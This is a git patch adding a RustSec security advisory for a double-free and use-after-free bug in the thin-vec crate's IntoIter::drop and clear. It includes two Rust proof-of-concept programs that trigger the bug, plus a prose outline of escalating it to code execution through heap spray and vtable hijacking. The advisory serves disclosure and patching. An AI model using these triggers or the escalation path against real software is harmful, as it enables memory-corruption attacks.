From bd4d2f58ced6458c9f111ce059ef436fd2e52a0d Mon Sep 17 00:00:00 2001 From: kpcyrd Date: Mon, 20 Apr 2026 22:49:39 +0200 Subject: [PATCH] Add thin-vec GHSA-xphw-cqx3-667j --- crates/thin-vec/RUSTSEC-0000-0000.md | 119 +++++++++++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 crates/thin-vec/RUSTSEC-0000-0000.md diff --git a/crates/thin-vec/RUSTSEC-0000-0000.md b/crates/thin-vec/RUSTSEC-0000-0000.md new file mode 100644 index 000000000..d4def8853 --- /dev/null +++ b/crates/thin-vec/RUSTSEC-0000-0000.md @@ -0,0 +1,119 @@ +```toml +[advisory] +id = "RUSTSEC-0000-0000" +package = "thin-vec" +date = "2026-04-14" +url = "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j" +categories = ["code-execution", "memory-corruption", "memory-exposure"] +cvss = "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" +keywords = ["memory-safety", "double-free", "use-after-free"] +aliases = ["CVE-2026-6654", "GHSA-xphw-cqx3-667j"] + +[versions] +patched = [">= 0.2.16"] +``` + +# Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics + +A Double Free / Use-After-Free (UAF) vulnerability has been identified in the +`IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate. +Both vulnerabilities share the same root cause and can trigger memory +corruption using only safe Rust code - no unsafe blocks required. Undefined +Behavior has been confirmed via Miri and AddressSanitizer (ASAN). + +## Details + +When a **panic occurs** during sequential element deallocation, the subsequent +length cleanup code (`set_len(0)`) is never executed. During stack unwinding, +the container is dropped again, causing already-freed memory to be re-freed +(Double Free / UAF). + +### Vulnerability 1 - `IntoIter::drop` + +`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, +then sequentially frees elements via `ptr::drop_in_place`. If a panic occurs +during element deallocation, `set_len_non_singleton(0)` is never reached. +During unwinding, `vec` is dropped again, re-freeing already-freed elements. +The standard library's `std::vec::IntoIter` prevents this with a **DropGuard +pattern**, but thin-vec lacks this defense. + +### PoC + +```rust +use thin_vec::ThinVec; + +struct PanicBomb(String); + +impl Drop for PanicBomb { + fn drop(&mut self) { + if self.0 == "panic" { + panic!("panic!"); + } + println!("Dropping: {}", self.0); + } +} + +fn main() { + let mut v = ThinVec::new(); + v.push(PanicBomb(String::from("normal1"))); + v.push(PanicBomb(String::from("panic"))); // trigger element + v.push(PanicBomb(String::from("normal2"))); + + let mut iter = v.into_iter(); + iter.next(); + // When iter is dropped: panic occurs at "panic" element + // → During unwinding, Double Drop is triggered on "normal1" (already freed) +} +``` + +### Vulnerability 2 - `ThinVec::clear` + +`clear()` calls `ptr::drop_in_place(&mut self[..])` followed by +`self.set_len(0)` to reset the length. If a panic occurs during element +deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is +subsequently dropped, already-freed elements are freed again. + +### PoC + +```rust +use thin_vec::ThinVec; +use std::panic; + +struct Poison(Box, &'static str); + +impl Drop for Poison { + fn drop(&mut self) { + if self.1 == "panic" { + panic!("panic!"); + } + println!("Dropping: {}", self.0); + } +} + +fn main() { + let mut v = ThinVec::new(); + v.push(Poison(Box::new(1), "normal1")); // index 0 + v.push(Poison(Box::new(2), "panic")); // index 1 → panic triggered here + v.push(Poison(Box::new(3), "normal2")); // index 2 + + let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| { + v.clear(); + // panic occurs at "panic" element during clear() + // → set_len(0) is never called + // → already-freed elements are re-freed when v goes out of scope + })); +} +``` + +## Prerequisites + +1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.) +2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or + (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic +3. The `Drop` implementation of a remaining element triggers a panic + +When combined with `Box types`, an exploit primitive enabling +Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been +confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop +is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can +be redirected to attacker-controlled code.